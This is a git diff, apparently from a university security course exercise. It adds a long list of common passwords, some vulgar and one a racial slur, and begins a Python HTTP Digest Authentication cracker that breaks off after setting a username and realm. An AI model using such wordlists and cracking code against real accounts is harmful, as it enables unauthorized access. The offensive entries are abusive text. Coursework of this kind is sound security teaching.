+tottenham +aikman +comanche +corolla +clarke +conway +cumslut +cyborg +dancing +boston1 +bong +houdini +helmut +elvisp +edge +keksa12 +misha +monty1 +monsters +wetter +watford +wiseguy +veronika +visitor +janelle +1989 +1987 +20202020 +biatch +beezer +bigguns +blueball +bitchy +wyoming +yankees2 +wrestler +stupid1 +sealteam +sidekick +simple1 +smackdow +sporting +spiral +smeller +sperm +plato +tophat +test2 +theatre +thick +toomuch +leigh +jello +jewish +junkie +maxim +maxime +meadow +remingto +roofer +124038 +1018 +1269 +1227 +123457 +arkansas +alberta +aramis +andersen +beaker +barcelona +baltimor +googoo +goochi +852456 +4711 +catcher +carman +champ1 +chess +fortress +fishfish +firefigh +geezer +rsalinas +samuel1 +saigon +scooby1 +doors +dick1 +devin +doom +dirk +doris +dontknow +load +magpies +manfred +raleigh +vader1 +universa +tulips +defense +mygirl +burn +bowtie +bowman +holycow +heinrich +honeys +enforcer +katherine +minerva +wheeler +witch +waterboy +jaime +irving +1992 +23skidoo +bimbo +blue11 +birddog +woodman +womble +zildjian +030303 +stinker +stoppedby +sexybabe +speakers +slugger +spotty +smoke1 +polopolo +perfect1 +things +torpedo +tender +thrasher +lakeside +lilith +jimmys +jerk +junior1 +marsh +masamune +rice +root +1214 +april1 +allgood +bambi +grinch +767676 +5252 +cherries +chipmunk +cezer121 +carnival +capecod +finder +flint +fearless +goats +funstuff +gideon +savior +seabee +sandro +schalke +salasana +disney1 +duckman +options +pancake +pantera1 +malice +lookin +love123 +lloyd +qwert123 +puppet +prayers +union +tracer +crap +creation +cwoui +nascar24 +hookers +hollie +hewitt +estrella +erection +ernesto +ericsson +edthom +kaylee +kokoko +kokomo +kimball +morales +mooses +monk +walton +weekend +inter +internal +1michael +1993 +19781978 +25252525 +worker +summers +surgery +shibby +shamus +skibum +sheepdog +sex69 +spliff +slipper +spoons +spanner +snowbird +slow +toriamos +temp123 +tennesse +lakers1 +jomama +julio +mazdarx7 +rosario +recon +riddle +room +revolver +1025 +1101 +barney1 +babycake +baylor +gotham +gravity +hallowee +hancock +616161 +515000 +caca +cannabis +castor +chilli +fdsa +getout +fuck69 +gators1 +sail +sable +rumble +dolemite +dork +dickens +duffer +dodgers1 +painting +onions +logger +lorena +lookout +magic32 +port +poon +prime +twat +coventry +citroen +christmas +civicsi +cocksucker +coochie +compaq1 +nancy1 +buzzer +boulder +butkus +bungle +hogtied +honor +hero +hotgirls +hilary +heidi1 +eggplant +mustang6 +mortal +monkey12 +wapapapa +wendy1 +volleyba +vibrate +vicky +bledsoe +blink +birthday4 +woof +xxxxx1 +talk +stephen1 +suburban +stock +tabatha +sheeba +start1 +soccer10 +something +starcraft +soccer12 +peanut1 +plastics +penthous +peterbil +tools +tetsuo +torino +tennis1 +termite +ladder +last +lemmein +lakewood +jughead +melrose +megane +reginald +redone +request +angela1 +alive +alissa +goodgirl +gonzo1 +golden1 +gotyoass +656565 +626262 +capricor +chains +calvin1 +foolish +fallon +getmoney +godfather +gabber +gilligan +runaway +salami +dummy +dungeon +dudedude +dumb +dope +opus +paragon +oxygen +panhead +pasadena +opendoor +odyssey +magellan +lottie +printing +pressure +prince1 +trustme +christa +court +davies +neville +nono +bread +buffet +hound +kajak +killkill +mona +moto +mildred +winner1 +vixen +whiteboy +versace +winona +voyager1 +instant +indy +jackjack +bigal +beech +biggun +blake1 +blue99 +big1 +woods +synergy +success1 +336699 +sixty9 +shark1 +skin +simba1 +sharpe +sebring +spongebo +spunk +springs +sliver +phialpha +password9 +pizza1 +plane +perkins +pookey +tickling +lexingky +lawman +joe123 +jolly +mike123 +romeo1 +redheads +reserve +apple123 +alanis +ariane +antony +backbone +aviation +band +hand +green123 +haley +carlitos +byebye +cartman1 +camden +chewy +camaross +favorite6 +forumwp +franks +ginscoot +fruity +sabrina1 +devil666 +doughnut +pantie +oldone +paintball +lumina +rainbow1 +prosper +total +true +umbrella +ajax +951753 +achtung +abc12345 +compact +color +corn +complete +christi +closer +corndog +deerhunt +darklord +dank +nimitz +brandy1 +bowl +breanna +holidays +hetfield +holein1 +hillbill +hugetits +east +evolutio +kenobi +whiplash +waldo +wg8e3wjf +wing +istanbul +invis +1996 +benton +bigjohn +bluebell +beef +beater +benji +bluejay +xyzzy +wrestling +storage +superior +suckdick +taichi +stellar +stephane +shaker +skirt +seymour +semper +splurge +squeak +pearls +playball +pitch +phyllis +pooky +piss +tomas +titfuck +joemama +johnny5 +marcello +marjorie +married +maxi +rhubarb +rockwell +ratboy +reload +rooney +redd +1029 +1030 +1220 +anchor +bbking +baritone +gryphon +gone +57chevy +494949 +celeron +fishy +gladiator +fucker1 +roswell +dougie +downer +dicker +diva +domingo +donjuan +nympho +omar +praise +racers +trick +trauma +truck1 +trample +acer +corwin +cricket1 +clemente +climax +denmark +cuervo +notnow +nittany +neutron +native +bosco1 +buffa +breaker +hello2 +hydro +estelle +exchange +explore +kisskiss +kittys +kristian +montecar +modem +mississi +mooney +weiner +washington +20012001 +bigdick1 +bibi +benfica +yahoo1 +striper +tabasco +supra +383838 +456654 +seneca +serious +shuttle +socks +stanton +penguin1 +pathfind +testibil +thethe +listen +lightning +lighting +jeter2 +marma +mark1 +metoo +republic +rollin +redleg +redbone +redskin +rocco +1245 +armand +anthony7 +altoids +andrews +barley +away +asswipe +bauhaus +bbbbbb1 +gohome +harrier +golfpro +goldeney +818181 +6666666 +5000 +5rxypn +cameron1 +calling +checker +calibra +fields +freefree +faith1 +fist +fdm7ed +finally +giraffe +glasses +giggles +fringe +gate +georgie +scamper +rrpass1 +screwyou +duffy +deville +dimples +pacino +ontario +passthie +oberon +quest1 +postov1000 +puppydog +puffer +raining +protect +qwerty7 +trey +tribe +ulysses +tribal +adam25 +a1234567 +compton +collie +cleopatr +contract +davide +norris +namaste +myrtle +buffalo1 +bonovox +buckley +bukkake +burning +burner +bordeaux +burly +hun999 +emilie +elmo +enters +enrique +keisha +mohawk +willard +vgirl +whale +vince +jayden +jarrett +1812 +1943 +222333 +bigjim +bigd +zoom +wordup +ziggy1 +yahooo +workout +young1 +written +xmas +zzzzzz1 +surfer1 +strife +sunlight +tasha1 +skunk +shauna +seth +soft +sprinter +peaches1 +planes +pinetree +plum +pimping +theforce +thedon +toocool +leeann +laddie +list +lkjh +lara +joke +jupiter1 +mckenzie +matty +rene +redrose +1200 +102938 +annmarie +alexa +antares +austin31 +ground +goose1 +737373 +78945612 +789987 +6464 +calimero +caster +casper1 +cement +chevrolet +chessie +caddy +chill +child +canucks +feeling +favorite +fellatio +f00tball +francine +gateway2 +gigi +gamecube +giovanna +rugby1 +scheisse +dshade +dudes +dixie1 +owen +offshore +olympia +lucas1 +macaroni +manga +pringles +puff +tribble +trouble1 +ussy +core +clint +coolhand +colonial +colt +debra +darthvad +dealer +cygnusx1 +natalie1 +newark +husband +hiking +errors +eighteen +elcamino +emmett +emilia +koolaid +knight1 +murphy1 +volcano +idunno +2005 +2233 +block +benito +blueberr +biguns +yamahar1 +zapper +zorro1 +0911 +3006 +sixsix +shopper +siobhan +sextoy +stafford +snowboard +speedway +sounds +pokey +peabody +playboy2 +titi +think +toast +toonarmy +lister +lambda +joecool +jonas +joyce +juniper +mercer +max123 +manny +massimo +mariposa +met2002 +reggae +ricky1 +1236 +1228 +1016 +all4one +arianna +baberuth +asgard +gonzales +484848 +5683 +6669 +catnip +chiquita +charisma +capslock +cashmone +chat +figure +galant +frenchy +gizmodo1 +girlies +gabby +garner +screwy +doubled +divers +dte4uw +done +dragonfl +maker +locks +rachelle +treble +twinkie +trailer +tropical +acid +crescent +cooking +cococo +cory +dabomb +daffy +dandfa +cyrano +nathanie +briggs +boners +helium +horton +hoffman +hellas +espresso +emperor +killa +kikimora +wanda +w4g8at +verona +ilikeit +iforget +1944 +20002000 +birthday1 +beatles1 +blue1 +bigdicks +beethove +blacklab +blazers +benny1 +woodwork +0069 +0101 +taffy +susie +survivor +swim +stokes +4567 +shodan +spoiled +steffen +pissed +pavlov +pinnacle +place +petunia +terrell +thirty +toni +tito +teenie +lemonade +lily +lillie +lalakers +lebowski +lalalala +ladyboy +jeeper +joyjoy +mercury1 +mantle +mannn +rocknrol +riversid +reeves +123aaa +11112222 +121314 +1021 +1004 +1120 +allen1 +ambers +amstel +ambrose +alice1 +alleycat +allegro +ambrosia +alley +australia +hatred +gspot +graves +goodsex +hattrick +harpoon +878787 +8inches +4wwvte +cassandr +charlie123 +case +chavez +fighting +gabriela +gatsby +fudge +gerry +generic +gareth +fuckme2 +samm +sage +seadog +satchmo +scxakv +santafe +dipper +dingle +dizzy +outoutout +madmad +london1 +qbg26i +pussy123 +randolph +vaughn +tzpvaw +vamp +comedy +comp +cowgirl +coldplay +dawgs +delaney +nt5d27 +novifarm +needles +notredam +newness +mykids +bryan1 +bouncer +hihihi +honeybee +iceman1 +herring +horn +hook +hotlips +dynamo +klaus +kittie +kappa +kahlua +muffy +mizzou +mohamed +musical +wannabe +wednesda +whatup +weller +waterfal +willy1 +invest +blanche +bear1 +billabon +youknow +zelda +yyyyyy1 +zachary1 +01234567 +070462 +zurich +superstar +storms +tail +stiletto +strat +427900 +sigmachi +shelter +shells +sexy123 +smile1 +sophie1 +stefano +stayout +somerset +smithers +playmate +pinkfloyd +phish1 +payday +thebear +telefon +laetitia +kswbdu +larson +jetta +jerky +melina +metro +revoluti +retire +respect +1216 +1201 +1204 +1222 +1115 +archange +barry1 +handball +676767 +chandra +chewbacc +flesh +furball +gocubs +fruit +fullback +gman +gentle +dunbar +dewalt +dominiqu +diver1 +dhip6a +olemiss +ollie +mandrake +mangos +pretzel +pusssy +tripleh +valdez +vagabond +clean +comment +crew +clovis +deaths +dandan +csfbr5yy +deadspin +darrel +ninguna +noah +ncc74656 +bootsie +bp2002 +bourbon +brennan +bumble +books +hose +heyyou +houston1 +hemlock +hippo +hornets +hurricane +horseman +hogan +excess +extensa +muffin1 +virginie +werdna +idontknow +info +iron +jack1 +1bitch +151nxjmt +bendover +bmwbmw +bills +zaq123 +wxcvbn +surprise +supernov +tahoe +talbot +simona +shakur +sexyone +seviyi +sonja +smart1 +speed1 +pepito +phantom1 +playoffs +terry1 +terrier +laser1 +lite +lancia +johngalt +jenjen +jolene +midori +message +maserati +matteo +mental +miami1 +riffraff +ronald1 +reason +rhythm +1218 +1026 +123987 +1015 +1103 +armada +architec +austria +gotmilk +hawkins +gray +camila +camp +cambridg +charge +camero +flex +foreplay +getoff +glacier +glotest +froggie +gerbil +rugger +sanity72 +salesman +donna1 +dreaming +deutsch +orchard +oyster +palmtree +ophelia +pajero +m5wkqf +magenta +luckyone +treefrog +vantage +usmarine +tyvugq +uptown +abacab +aaaaaa1 +advance +chuck1 +delmar +darkange +cyclones +nate +navajo +nope +border +bubba123 +building +iawgk2 +hrfzlz +dylan1 +enrico +encore +emilio +eclipse1 +killian +kayleigh +mutant +mizuno +mustang2 +video1 +viewer +weed420 +whales +jaguar1 +insight +1990 +159159 +1love +bliss +bears1 +bigtruck +binder +bigboss +blitz +xqgann +yeahyeah +zeke +zardoz +stickman +table +3825 +signal +sentra +side +shiva +skipper1 +singapor +southpaw +sonora +squid +slamdunk +slimjim +placid +photon +placebo +pearl1 +test12 +therock1 +tiger123 +leinad +legman +jeepers +joeblow +mccarthy +mike23 +redcar +rhinos +rjw7x4 +1102 +13576479 +112211 +alcohol +gwju3g +greywolf +7bgiqk +7878 +535353 +4snz9g +candyass +cccccc1 +carola +catfight +cali +fister +fosters +finland +frankie1 +gizzmo +fuller +royalty +rugrat +sandie +rudolf +dooley +dive +doreen +dodo +drop +oemdlg +out3xf +paddy +opennow +puppy1 +qazwsxedc +pregnant +quinn +ramjet +under +uncle +abraxas +corner +creed +cocoa +crown +cows +cn42qj +dancer1 +death666 +damned +nudity +negative +nimda2k +buick +bobb +braves1 +brook +henrik +higher +hooligan +dust +everlast +karachi +mortis +mulligan +monies +motocros +wally1 +weapon +waterman +view +willie1 +vicki +inspiron +1test +2929 +bigblack +xytfu7 +yackwin +zaq1xsw2 +yy5rbfsc +100100 +0660 +tahiti +takehana +talks +332211 +3535 +sedona +seawolf +skydiver +shine +spleen +slash +spjfet +special1 +spooner +slimshad +sopranos +spock1 +penis1 +patches1 +terri +thierry +thething +toohot +large +limpone +johnnie +mash4077 +matchbox +masterp +maxdog +ribbit +reed +rita +rockin +redhat +rising +1113 +14789632 +1331 +allday +aladin +andrey +amethyst +ariel +anytime +baseball1 +athome +basil +goofy1 +greenman +gustavo +goofball +ha8fyp +goodday +778899 +charon +chappy +castillo +caracas +cardiff +capitals +canada1 +cajun +catter +freddy1 +favorite2 +frazier +forme +follow +forsaken +feelgood +gavin +gfxqx686 +garlic +sarge +saskia +sanjose +russ +salsa +dilbert1 +dukeduke +downhill +longhair +loop +locutus +lockdown +malachi +mamacita +lolipop +rainyday +pumpkin1 +punker +prospect +rambo1 +rainbows +quake +twin +trinity1 +trooper1 +aimee +citation +coolcat +crappy +default +dental +deniro +d9ungl +daddys +napoli +nautica +nermal +bukowski +brick +bubbles1 +bogota +board +branch +breath +buds +hulk +humphrey +hitachi +evans +ender +export +kikiki +kcchiefs +kram +morticia +montrose +mongo +waqw3p +wizzard +visited +whdbtp +whkzyc +image +154ugeiu +1fuck +binky +blind +bigred1 +blubber +benz +becky1 +year2005 +wonderfu +wooden +xrated +0001 +tampabay +survey +tammy1 +stuffer +3mpz4r +3000 +3some +selina +sierra1 +shampoo +silk +shyshy +slapnuts +standby +spartan1 +sprocket +sometime +stanley1 +poker1 +plus +thought +theshit +torture +thinking +lavalamp +light1 +laserjet +jediknig +jjjjj1 +jocelyn +mazda626 +menthol +maximo +margaux +medic1 +release +richter +rhino1 +roach +renate +repair +reveal +1209 +1234321 +amigos +apricot +alexandra +asdfgh1 +hairball +hatter +graduate +grimace +7xm5rq +6789 +cartoons +capcom +cheesy +cashflow +carrots +camping +fanatic +fool +format +fleming +girlie +glover +gilmore +gardner +safeway +ruthie +dogfart +dondon +diapers +outsider +odin +opiate +lollol +love12 +loomis +mallrats +prague +primetime21 +pugsley +program +r29hqq +touch +valleywa +airman +abcdefg1 +darkone +cummer +dempsey +damn +nadia +natedogg +nineball +ndeyl5 +natchez +newone +normandy +nicetits +buddy123 +buddys +homely +husky +iceland +hr3ytm +highlife +holla +earthlin +exeter +eatmenow +kimkim +karine +k2trix +kernel +kirkland +money123 +moonman +miles1 +mufasa +mousey +wilma +wilhelm +whites +warhamme +instinct +jackass1 +2277 +20spanks +blobby +blair +blinky +bikers +blackjack +becca +blue23 +xman +wyvern +085tzzqi +zxzxzx +zsmj2v +suede +t26gn4 +sugars +sylvie +tantra +swoosh +swiss +4226 +4271 +321123 +383pdjvl +shoe +shane1 +shelby1 +spades +spain +smother +soup +sparhawk +pisser +photo1 +pebble +phones +peavey +picnic +pavement +terra +thistle +tokyo +therapy +lives +linden +kronos +lilbit +linux +johnston +material +melanie1 +marbles +redlight +reno +recall +1208 +1138 +1008 +alchemy +aolsucks +alexalex +atticus +auditt +ballet +b929ezzh +goodyear +hanna +griffith +gubber +863abgsg +7474 +797979 +464646 +543210 +4zqauf +4949 +ch5nmk +carlito +chewey +carebear +caleb +checkmat +cheddar +chachi +fever +forgetit +fine +forlife +giants1 +gates +getit +gamble +gerhard +galileo +g3ujwg +ganja +rufus1 +rushmore +scouts +discus +dudeman +olympus +oscars +osprey +madcow +locust +loyola +mammoth +proton +rabbit1 +question +ptfe3xxp +pwxd5x +purple1 +punkass +prophecy +uyxnyd +tyson1 +aircraft +access99 +abcabc +cocktail +colts +civilwar +cleveland +claudia1 +contour +clement +dddddd1 +cypher +denied +dapzu455 +dagmar +daisydog +name +noles +butters +buford +hoochie +hotel +hoser +eddy +ellis +eldiablo +kingrich +mudvayne +motown +mp8o6d +wife +vipergts +italiano +innocent +2055 +2211 +beavers +bloke +blade1 +yamato +zooropa +yqlgr667 +050505 +zxcvbnm1 +zw6syj +suckcock +tango1 +swing +stern +stephens +swampy +susanna +tammie +445566 +333666 +380zliki +sexpot +sexylady +sixtynin +sickboy +spiffy +sleeping +skylark +sparkles +slam +pintail +phreak +places +teller +timtim +tires +thighs +left +latex +llamas +letsdoit +lkjhg +landmark +letters +lizzard +marlins +marauder +metal1 +manu +register +righton +1127 +alain +alcat +amigo +basebal1 +azertyui +attract +azrael +hamper +gotenks +golfgti +gutter +hawkwind +h2slca +harman +grace1 +6chid8 +789654 +canine +casio +cazzo +chamber +cbr900 +cabrio +calypso +capetown +feline +flathead +fisherma +flipmode +fungus +goal +g9zns4 +full +giggle +gabriel1 +fuck123 +saffron +dogmeat +dreamcas +dirtydog +dunlop +douche +dresden +dickdick +destiny1 +pappy +oaktree +lydia +luft4 +puta +prayer +ramada +trumpet1 +vcradq +tulip +tracy71 +tycoon +aaaaaaa1 +conquest +click +chitown +corps +creepers +constant +couples +code +cornhole +danman +dada +density +d9ebk7 +cummins +darth +cute +nash +nirvana1 +nixon +norbert +nestle +brenda1 +bonanza +bundy +buddies +hotspur +heavy +horror +hufmqw +electro +erasure +enough +elisabet +etvww4 +ewyuza +eric1 +kinder +kenken +kismet +klaatu +musician +milamber +willi +waiting +isacs155 +igor +1million +1letmein +x35v8l +yogi +ywvxpz +xngwoj +zippy1 +020202 +**** +stonewal +sweeney +story +sentry +sexsexsex +spence +sonysony +smirnoff +star12 +solace +sledge +states +snyder +star1 +paxton +pentagon +pkxe62 +pilot1 +pommes +paulpaul +plants +tical +tictac +toes +lighthou +lemans +kubrick +letmein22 +letmesee +jys6wz +jonesy +jjjjjj1 +jigga +joelle +mate +merchant +redstorm +riley1 +rosa +relief +14141414 +1126 +allison1 +badboy1 +asthma +auggie +basement +hartley +hartford +hardwood +gumbo +616913 +57np39 +56qhxs +4mnveh +cake +forbes +fatluvr69 +fqkw5m +fidelity +feathers +fresno +godiva +gecko +gladys +gibson1 +gogators +fridge +general1 +saxman +rowing +sammys +scotts +scout1 +sasasa +samoht +dragon69 +ducky +dragonball +driller +p3wqaw +nurse +papillon +oneone +openit +optimist +longshot +portia +rapier +pussy2 +ralphie +tuxedo +ulrike +undertow +trenton +copenhag +come +delldell +culinary +deltas +mytime +nicky +nickie +noname +noles1 +bucker +bopper +bullock +burnout +bryce +hedges +ibilltes +hihje863 +hitter +ekim +espana +eatme69 +elpaso +envelope +express1 +eeeeee1 +eatme1 +karaoke +kara +mustang5 +misses +wellingt +willem +waterski +webcam +jasons +infinite +iloveyou! +jakarta +belair +bigdad +beerme +yoshi +yinyang +zimmer +x24ik3 +063dyjuy +0000007 +ztmfcq +stopit +stooges +survival +stockton +symow8 +strato +2hot4u +ship +simons +skins +shakes +sex1 +shield +snacks +softtail +slimed123 +pizzaman +pipe +pitt +pathetic +pinto +tigercat +tonton +lager +lizzy +juju +john123 +jennings +josiah +jesse1 +jordon +jingles +martian +mario1 +rootedit +rochard +redwine +requiem +riverrat +rats +1117 +1014 +1205 +althea +allie +amor +amiga +alpina +alert +atreides +banana1 +bahamut +hart +golfman +happines +7uftyx +5432 +5353 +5151 +4747 +byron +chatham +chadwick +cherie +foxfire +ffvdj474 +freaked +foreskin +gayboy +gggggg1 +glenda +gameover +glitter +funny1 +scoobydoo +scroll +rudolph +saddle +saxophon +dingbat +digimon +omicron +parsons +ohio +panda1 +loloxx +macintos +lululu +lollypop +racer1 +queen1 +qwertzui +prick +upnfmc +tyrant +trout1 +9skw5g +aceman +adelaide +acls2h +aaabbb +acapulco +aggie +comcast +craft +crissy +cloudy +cq2kph +custer +d6o8pm +cybersex +davecole +darian +crumbs +daisey +davedave +dasani +needle +mzepab +myporn +narnia +nineteen +booger1 +bravo1 +budgie +btnjey +highlander +hotel6 +humbug +edwin +ewtosi +kristin1 +kobe +knuckles +keith1 +katarina +muff +muschi +montana1 +wingchun +wiggle +whatthe +walking +watching +vette1 +vols +virago +intj3a +ishmael +intern +jachin +illmatic +199999 +2010 +beck +blender +bigpenis +bengal +blue1234 +your +zaqxsw +xray +xxxxxxx1 +zebras +yanks +worlds +tadpole +stripes +svetlana +3737 +4343 +3728 +4444444 +368ejhih +solar +sonne +smalls +sniffer +sonata +squirts +pitcher +playstation +pktmxr +pescator +points +texaco +lesbos +lilian +l8v53x +jo9k2jw2 +jimbeam +josie +jimi +jupiter2 +jurassic +marines1 +maya +rocket1 +ringer +14725836 +12345679 +1219 +123098 +1233 +alessand +althor +angelika +arch +armando +alpha123 +basher +barefeet +balboa +bbbbb1 +banks +badabing +harriet +gopack +golfnut +gsxr1000 +gregory1 +766rglqy +8520 +753159 +8dihc6 +69camaro +666777 +cheeba +chino +calendar +cheeky +camel1 +fishcake +falling +flubber +giuseppe +gianni +gloves +gnasher23 +frisbee +fuzzy1 +fuzzball +sauce +save13tx +schatz +russell1 +sandra1 +scrotum +scumbag +sabre +samdog +dripping +dragon12 +dragster +paige +orwell +mainland +lunatic +lonnie +lotion +maine +maddux +qn632o +poophead +rapper +porn4life +producer +rapunzel +tracks +velocity +vanessa1 +ulrich +trueblue +vampire1 +abacus +902100 +crispy +corky +crane +chooch +d6wnro +cutie +deal +dabulls +dehpye +navyseal +njqcw4 +nownow +nigger1 +nightowl +nonenone +nightmar +bustle +buddy2 +boingo +bugman +bulletin +bosshog +bowie +hybrid +hillside +hilltop +hotlegs +honesty +hzze929b +hhhhh1 +hellohel +eloise +evilone +edgewise +e5pftu +eded +embalmer +excalibur +elefant +kenzie +karl +karin +killah +kleenex +mouses +mounta1n +motors +mutley +muffdive +vivitron +winfield +wednesday +w00t88 +iloveit +jarjar +incest +indycar +17171717 +1664 +17011701 +222777 +2663 +beelch +benben +yitbos +yyyyy1 +yasmin +zapata +zzzzz1 +stooge +tangerin +taztaz +stewart1 +summer69 +sweetness +system1 +surveyor +stirling +3qvqod +3way +456321 +sizzle +simhrq +shrink +shawnee +someday +sparty +ssptx452 +sphere +spark +slammed +sober +persian +peppers +ploppy +pn5jvw +poobear +pianos +plaster +testme +tiff +thriller +larissa +lennox +jewell +master12 +messier +rockey +1229 +1217 +1478 +1009 +anastasi +almighty +amonra +aragon +argentin +albino +azazel +grinder +6uldv8 +83y6pv +8888888 +4tlved +515051 +carsten +changes +flanders +flyers88 +ffffff1 +firehawk +foreman +firedog +flashman +ggggg1 +gerber +godspeed +galway +giveitup +funtimes +gohan +giveme +geryfe +frenchie +sayang +rudeboy +savanna +sandals +devine +dougal +drag0n +dga9la +disaster +desktop +only +onlyone +otter +pandas +mafia +lombard +luckys +lovejoy +lovelife +manders +product +qqh92r +qcmfd454 +pork +radar1 +punani +ptbdhw +turtles +undertaker +trs8f7 +tramp +ugejvp +abba +911turbo +acdc +abcd123 +clever +corina +cristian +create +crash1 +colony +crosby +delboy +daniele +davinci +daughter +notebook +niki +nitrox +borabora +bonzai +budd +brisbane +hotter +heeled +heroes +hooyah +hotgirl +i62gbq +horse1 +hills +hpk2qc +epvjb6 +echo +korean +kristie +mnbvc +mohammad +mind +mommy1 +munster +wade +wiccan +wanted +jacket +2369 +bettyboo +blondy +bismark +beanbag +bjhgfi +blackice +yvtte545 +ynot +yess +zlzfrh +wolvie +007bond +****** +tailgate +tanya1 +sxhq65 +stinky1 +3234412 +3ki42x +seville +shimmer +sheryl +sienna +shitshit +skillet +seaman +sooners1 +solaris +smartass +pastor +pasta +pedros +pennywis +pfloyd +tobydog +thetruth +lethal +letme1n +leland +jenifer +mario66 +micky +rocky2 +rewq +ripped +reindeer +1128 +1207 +1104 +1432 +aprilia +allstate +alyson +bagels +basic +baggies +barb +barrage +greatest +gomez +guru +guard +72d5tn +606060 +4wcqjn +caldwell +chance1 +catalog +faust +film +flange +fran +fartman +geil +gbhcf2 +fussball +glen +fuaqz4 +gameboy +garnet +geneviev +rotary +seahawk +russel +saab +seal +samadams +devlt4 +ditto +drevil +drinker +deuce +dipstick +donut +octopus +ottawa +losangel +loverman +porky +q9umoz +rapture +pump +pussy4me +university +triplex +ue8fpw +trent +trophy +turbos +troubles +agent +aaa340 +churchil +crazyman +consult +creepy +craven +class +cutiepie +ddddd1 +dejavu +cuxldv +nettie +nbvibt +nikon +niko +norwood +nascar1 +nolan +bubba2 +boobear +boogers +buff +bullwink +bully +bulldawg +horsemen +escalade +editor +eagle2 +dynamic +ella +efyreg +edition +kidney +minnesot +mogwai +morrow +msnxbi +moonlight +mwq6qlzo +wars +werder +verygood +voodoo1 +wheel +iiiiii1 +159951 +1624 +1911a1 +2244 +bellagio +bedlam +belkin +bill1 +woodrow +xirt2k +worship +?????? +tanaka +swift +susieq +sundown +sukebe +tales +swifty +2fast4u +senate +sexe +sickness +shroom +shaun +seaweed +skeeter1 +status +snicker +sorrow +spanky1 +spook +patti +phaedrus +pilots +pinch +peddler +theo +thumper1 +tessie +tiger7 +tmjxn151 +thematri +l2g7k3 +letmeinn +lazy +jeffjeff +joan +johnmish +mantra +mariana +mike69 +marshal +mart +mazda6 +riptide +robots +rental +1107 +1130 +142857 +11001001 +1134 +armored +alvin +alec +allnight +alright +amatuers +bartok +attorney +astral +baboon +bahamas +balls1 +bassoon +hcleeb +happyman +granite +graywolf +golf1 +gomets +8vjzus +7890 +789123 +8uiazp +5757 +474jdvff +551scasi +50cent +camaro1 +cherry1 +chemist +final +firenze +fishtank +farrell +freewill +glendale +frogfrog +gerhardt +ganesh +same +scirocco +devilman +doodles +dinger +okinawa +olympic +nursing +orpheus +ohmygod +paisley +pallmall +null +lounge +lunchbox +manhatta +mahalo +mandarin +qwqwqw +qguvyt +pxx3eftp +president +rambler +puzzle +poppy1 +turk182 +trotter +vdlxuc +trish +tugboat +valiant +tracie +uwrl7c +chris123 +coaster +cmfnpu +decimal +debbie1 +dandy +daedalus +dede +natasha1 +nissan1 +nancy123 +nevermin +napalm +newcastle +boats +branden +britt +bonghit +hester +ibxnsm +hhhhhh1 +holger +durham +edmonton +erwin +equinox +dvader +kimmy +knulla +mustafa +monsoon +mistral +morgana +monica1 +mojave +month +monterey +mrbill +vkaxcs +victor1 +wacker +wendell +violator +vfdhif +wilson1 +wavpzt +verena +wildstar +winter99 +iqzzt580 +jarrod +imback +1914 +19741974 +1monkey +1q2w3e4r5t +2500 +2255 +blank +bigshow +bigbucks +blackcoc +zoomer +wtcacq +wobble +xmen +xjznq5 +yesterda +yhwnqc +zzzxxx +streak +393939 +2fchbg +skinhead +skilled +shakira +shaft +shadow12 +seaside +sigrid +sinful +silicon +smk7366 +snapshot +sniper1 +soccer11 +staff +slap +smutty +peepers +pleasant +plokij +pdiddy +pimpdaddy +thrust +terran +topaz +today1 +lionhear +littlema +lauren1 +lincoln1 +lgnu9d +laughing +juneau +methos +medina +merlyn +rogue1 +romulus +redshift +1202 +1469 +12locked +arizona1 +alfarome +al9agd +aol123 +altec +apollo1 +arse +baker1 +bbb747 +bach +axeman +astro1 +hawthorn +goodfell +hawks1 +gstring +hannes +8543852 +868686 +4ng62t +554uzpad +5401 +567890 +5232 +catfood +frame +flow +fire1 +flipflop +fffff1 +fozzie +fluff +garrison +fzappa +furious +round +rustydog +sandberg +scarab +satin +ruger +samsung1 +destin +diablo2 +dreamer1 +detectiv +dominick +doqvq3 +drywall +paladin1 +papabear +offroad +panasonic +nyyankee +luetdi +qcfmtz +pyf8ah +puddles +privacy +rainer +pussyeat +ralph1 +princeto +trivia +trewq +tri5a3 +advent +9898 +agyvorc +clarkie +coach1 +courier +contest +christo +corinna +chowder +concept +climbing +cyzkhw +davidb +dad2ownu +days +daredevi +de7mdf +nose +necklace +nazgul +booboo1 +broad +bonzo +brenna +boot +butch1 +huskers1 +hgfdsa +hornyman +elmer +elektra +england1 +elodie +kermit1 +knife +kaboom +minute +modern +motherfucker +morten +mocha +monday1 +morgoth +ward +weewee +weenie +walters +vorlon +website +wahoo +ilovegod +insider +jayman +1911 +1dallas +1900 +1ranger +201jedlz +2501 +1qaz +bertram +bignuts +bigbad +beebee +billows +belize +bebe +wvj5np +wu4etd +yamaha1 +wrinkle5 +zebra1 +yankee1 +zoomzoom +09876543 +0311 +????? +stjabn +tainted +3tmnej +shoot +skooter +skelter +sixteen +starlite +smack +spice1 +stacey1 +smithy +perrin +pollux +peternorth +pixie +paulina +piston +pick +poets +pine +toons +tooth +topspin +kugm7b +legends +jeepjeep +juliana +joystick +junkmail +jojojojo +jonboy +judge +midland +meteor +mccabe +matter +mayfair +meeting +merrill +raul +riches +reznor +rockrock +reboot +reject +robyn +renee1 +roadway +rasta220 +1411 +1478963 +1019 +archery +allman +andyandy +barks +bagpuss +auckland +gooseman +hazmat +gucci +guns +grammy +happydog +greek +7kbe9d +7676 +6bjvpe +5lyedn +5858 +5291 +charlie2 +chas +c7lrwu +candys +chateau +ccccc1 +cardinals +fear +fihdfv +fortune12 +gocats +gaelic +fwsadn +godboy +gldmeo +fx3tuo +fubar1 +garland +generals +gforce +rxmtkp +rulz +sairam +dunhill +division +dogggg +detect +details +doll +drinks +ozlq6qwm +ov3ajy +lockout +makayla +macgyver +mallorca +loves +prima +pvjegu +qhxbij +raphael +prelude1 +totoro +tusymo +trousers +tunnel +valeria +tulane +turtle1 +tracy1 +aerosmit +abbey1 +address +clticic +clueless +cooper1 +comets +collect +corbin +delpiero +derick +cyprus +dante1 +dave1 +nounours +neal +nexus6 +nero +nogard +norfolk +brent1 +booyah +bootleg +buckaroo +bulls23 +bulls1 +booper +heretic +icecube +hellno +hounds +honeydew +hooters1 +hoes +howie +hevnm4 +hugohugo +eighty +epson +evangeli +eeeee1 +eyphed diff --git a/OLD/csci5271/ho2/crack2.py b/OLD/csci5271/ho2/crack2.py new file mode 100644 index 0000000..b24f90e --- /dev/null +++ b/OLD/csci5271/ho2/crack2.py @@ -0,0 +1,23 @@ +# HTTP Digest Authentication cracker +import hashlib + +username = "travis14" +realm = "Cheese" +nonce = 